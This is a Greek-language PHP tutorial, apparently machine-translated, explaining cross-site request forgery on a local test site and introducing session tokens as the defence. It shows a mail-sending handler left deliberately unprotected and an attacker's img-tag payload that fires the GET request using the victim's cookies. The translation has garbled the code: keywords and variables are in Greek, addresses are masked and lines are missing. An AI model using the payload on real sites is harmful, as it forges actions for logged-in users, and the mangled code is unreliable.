    Και αυτό δεν είναι απαραίτητο, καθώς η ουσία του μηχανισμού προστασίας είναι αρκετά απλή, και επομένως στο τρέχον βίντεο, χρησιμοποιώντας το παράδειγμα μιας δοκιμαστικής τοποθεσίας, θα δείτε πώς μπορείτε να προστατευθείτε από τον παραπάνω τύπο επίθεσης και, στη συνέχεια, με βάση τις γνώσεις που αποκτήσατε, θα κάνετε παρόμοια βήματα στο δικό σας έργο. Ας ξεκινήσουμε λοιπόν.

    Το CSRF είναι ένα αρκτικόλεξο που σχηματίζεται από τις αγγλικές λέξεις Cross-Site Request Forgery, που σημαίνει πλαστογραφία αιτήματος μεταξύ τοποθεσιών. Αυτός ο όροςπαρουσιάστηκε πριν από πολύ καιρό από τον Peter Watkins το 2001, αλλά οι άνθρωποι άρχισαν να μιλούν για πιθανές επιθέσεις αυτού του είδους το 1988. Λάβετε υπόψη ότι έχει ήδη περάσει αρκετός χρόνος, αλλά και πάλι οι περισσότεροι ιστότοποι του Διαδικτύου υπόκεινται σε αυτήν την επίθεση. Αμέσως προκύπτει το ερώτημα - γιατί συμβαίνει αυτό; Και η απάντηση είναι αρκετά απλή και έγκειται στο γεγονός ότι η ευπάθεια σε επιθέσεις CSRF δεν είναι σφάλμα στον κώδικα της εφαρμογής, αλλά συνέπεια της απολύτως κανονικής λειτουργίας του προγράμματος περιήγησης και του διακομιστή ιστού.

    Η ουσία της επίθεσης είναι ότι ένας εισβολέας μπορεί να εκτελέσει διάφορες ενέργειες σε έναν μη προστατευμένο ιστότοπο για λογαριασμό άλλου εγγεγραμμένου (εξουσιοδοτημένου) χρήστη. Με άλλα λόγια αυτός ο τύποςΗ επίθεση περιλαμβάνει τον χρήστη που επισκέπτεται τον ιστότοπο του εισβολέα, ο οποίος με τη σειρά του οδηγεί στο γεγονός ότι, απαρατήρητα από αυτόν, εκτελούνται ορισμένες προκαθορισμένες ενέργειες σε έναν άλλο ιστότοπο ή υπηρεσία στην οποία βρίσκεται αυτός ο χρήστης αυτή τη στιγμήεξουσιοδοτημένο.

    Στην περίπτωση αυτή, κατά κανόνα, οι στόχοι των επιθέσεων CSRF είναι διάφορες διαδραστικές εφαρμογές Ιστού που εκτελούν συγκεκριμένες ενέργειες, για παράδειγμα, υπηρεσίες αποστολής email, διάφορα φόρουμ, συστήματα πληρωμών κ.λπ. Δηλαδή, ένας χάκερ μπορεί να εκτελέσει ορισμένες ενέργειες για λογαριασμό άλλων χρηστών - να στείλει μηνύματα, να προσθέσει νέους λογαριασμούς, να πραγματοποιήσει οικονομικές συναλλαγές κ.λπ.

    Τώρα ας δούμε την επίδραση αυτής της επίθεσης στο παράδειγμα μιας δοκιμαστικής τοποθεσίας.

    Ας πούμε ότι υπάρχει μια ιστοσελίδα που η δουλειά της είναι να στέλνει ΗΛΕΚΤΡΟΝΙΚΗ ΔΙΕΥΘΥΝΣΗστην καθορισμένη διεύθυνση για λογαριασμό εξουσιοδοτημένου χρήστη. Δηλαδή επάνω αρχική σελίδαβλέπουμε μια φόρμα για την αποστολή μηνύματος. Επιπλέον, υπάρχει επίσης ένας μηχανισμός για την αποστολή μηνυμάτων κατά τη μετάδοση ορισμένων παραμέτρων μέσω αιτήματος GET (μόνο για παράδειγμα). Η σελίδα σύνδεσης μοιάζει με αυτό:

    Αυτή η σελίδααρκετά συνηθισμένο, αλλά αυτό που σας τραβάει την προσοχή είναι το πλαίσιο ελέγχου "Μέλος", το οποίο χρησιμοποιείται για την αποθήκευση δεδομένων εξουσιοδότησης στα cookies του προγράμματος περιήγησης. Στην πραγματικότητα, αυτός ο μηχανισμός είναι πολύ βολικός για τους χρήστες, καθώς απλοποιεί την επαναλαμβανόμενη πρόσβαση στη σελίδα, αλλά είναι εξαιρετικά ανεπιθύμητος από την άποψη της ασφάλειας. Ωστόσο, για χάρη των επισκεπτών, συχνά πρέπει να γίνουν ορισμένες παραχωρήσεις.

    Ο κώδικας για την αποστολή μηνυμάτων χρησιμοποιώντας δύο μεθόδους (GET και POST) μοιάζει κάπως έτσι:

    //Αποστολή μηνύματος if($this->isGet() && !empty($_GET["email"])) ( $body = "Hello this is message form - ".$this->user["name"] ; $body .= " Περιεχόμενο - από το GET - ".$_GET["περιεχόμενο"].." Από - ".$_GET["email"]; mail(" [email προστατευμένο]","New message",$body); ) if($this->isPost()) ( $body = "Γεια σας, αυτή είναι η φόρμα μηνύματος - ".$this->user["name"]; $body .= " Περιεχόμενο - FROM POST - ".$_POST["content"]. "From - ".$_POST["email"]; mail(" [email προστατευμένο]""Νέο μήνυμα",$body);)

    //Να στείλετε μήνυμα

    αν ($ this -> isGet () && ! κενό ( $ _GET [ "email" ] ) ) (

    $σώμα = . $ this -> χρήστης [ "όνομα" ] ;

    $σώμα. = "Περιεχόμενο - από το GET - " . $_GET["περιεχόμενο"]. "Από - " . $_GET["email"];

    if ($this -> isPost()) (

    $body = "Γεια σας, αυτή είναι η φόρμα μηνύματος - " . $ this -> χρήστης [ "όνομα" ] ;

    $σώμα. = "Content - FROM POST - " . $_POST["περιεχόμενο"]. "Από - " . $_POST["email"];

    ταχυδρομείο(" [email προστατευμένο]", "Νέο μήνυμα", $body);

    Τώρα, ας δούμε έναν άλλο ιστότοπο - έναν ιστότοπο χάκερ.

    Στον οποίο μπορεί να τοποθετήσει έναν αρκετά απλό αλλά πολύ αποτελεσματικό κώδικα εάν είναι απαραίτητο να πραγματοποιηθεί μια επίθεση σε ένα αίτημα GET:

    < img src = "http://localhost/csrf/[email προστατευμένο]&content=Γεια σου κόσμο" >

    Δηλαδή, στην ουσία, βλέπουμε μια ετικέτα img, η ιδιότητα src της οποίας περιέχει τη διαδρομή προς τον ιστότοπο που προορίζεται να επιτεθεί, με ένα σύνολο απαραίτητων παραμέτρων για την εκτέλεση μιας συγκεκριμένης ενέργειας. Στην περίπτωσή μας, αυτό είναι η αποστολή ενός μηνύματος, που σημαίνει ότι τώρα ο εισβολέας χρειάζεται μόνο να παρασύρει τον χρήστη στον τρέχοντα ιστότοπο και, εν αγνοία του, θα υποβληθεί αίτημα στον ιστότοπο που μας ενδιαφέρει, καθώς το πρόγραμμα περιήγησης θα προσπαθήσει να φορτώσει την εικόνα, η διαδρομή προς την οποία καθορίζεται στο χαρακτηριστικό src. Ταυτόχρονα, θυμόμαστε ότι τα cookies του προγράμματος περιήγησης αποθηκεύουν δεδομένα εξουσιοδότησης και, φυσικά, η εφαρμογή τα χρησιμοποιεί αμέσως και, κατά συνέπεια, το παραπάνω αίτημα θα διεκπεραιωθεί με επιτυχία από τον διακομιστή. Αυτό σημαίνει ότι θα σταλεί ένα μήνυμα εκ μέρους του χρήστη.

    Αν δούμε το σύνολο των κεφαλίδων που αποστέλλονται μαζί με το αίτημα, τότε όντως, μπορούμε να δούμε cookies με δεδομένα σύνδεσης λογαριασμός, που φυσικά σημαίνει -όπως προαναφέρθηκε- ότι το αίτημα θα γίνει αντιληπτό ότι προέρχεται από πιστοποιημένο χρήστη.

    Η ίδια ακριβώς κατάσταση ισχύει και για την αποστολή αιτήματος. Μέθοδος POST, μόνο σε αυτήν την περίπτωση, ο εισβολέας θα δημιουργήσει μια φόρμα στον ιστότοπό του που θα αποσταλεί αυτόματα χρησιμοποιώντας JavaScript μόλις ο επισκέπτης εισέλθει σε αυτόν τον ιστότοπο.

    Ως εκ τούτου, είναι επιτακτική ανάγκη να προστατεύσετε τον εαυτό σας από επιθέσεις αυτού του είδους και το μόνο αποτελεσματική μέθοδοςπροστασία είναι η χρήση ειδικών μαρκών.

    Ένα διακριτικό ασφαλείας είναι μια συμβολοσειρά που δημιουργείται τυχαία για έναν συγκεκριμένο χρήστη και μεταδίδεται σε κάθε αίτημα που περιλαμβάνει αλλαγή δεδομένων. Επιπλέον, το διακριτικό αποθηκεύεται επίσης στη συνεδρία. Έτσι, η ουσία της προστασίας καταλήγει σε έναν απλό έλεγχο της αντιστοιχίας του διακριτικού που μεταδίδεται στο αίτημα και του διακριτικού που είναι αποθηκευμένο στη συνεδρία. Εάν και τα δύο διακριτικά είναι πανομοιότυπα, τότε το αίτημα στάλθηκε από εξουσιοδοτημένο χρήστη. Εάν τα διακριτικά δεν ταιριάζουν ή δεν υπάρχει κανένα διακριτικό στο αίτημα, τότε μπορούμε να κρίνουμε με μεγάλη σιγουριά ότι εκτελείται επίθεση, πράγμα που σημαίνει ότι δεν μπορούν να γίνουν ενέργειες.

    Λάβετε υπόψη ότι απολύτως όλα τα αιτήματα που στοχεύουν στην αλλαγή ή την εκτέλεση ορισμένων ενεργειών πρέπει να προστατεύονται.

    Στην πραγματικότητα, σε αυτό το στάδιο, το τμήμα κειμένου του μαθήματος ολοκληρώνεται και θα συνεχίσουμε να μιλάμε για το συγκεκριμένο θέμα στην έκδοση βίντεο. Ταυτόχρονα, θα εξετάσουμε μεθόδους για τη δημιουργία διακριτικών και θα εφαρμόσουμε πρακτικά τον αλγόριθμο προστασίας που περιγράφεται παραπάνω. Τώρα ας πούμε αντίο. Καλή κωδικοποίηση!!!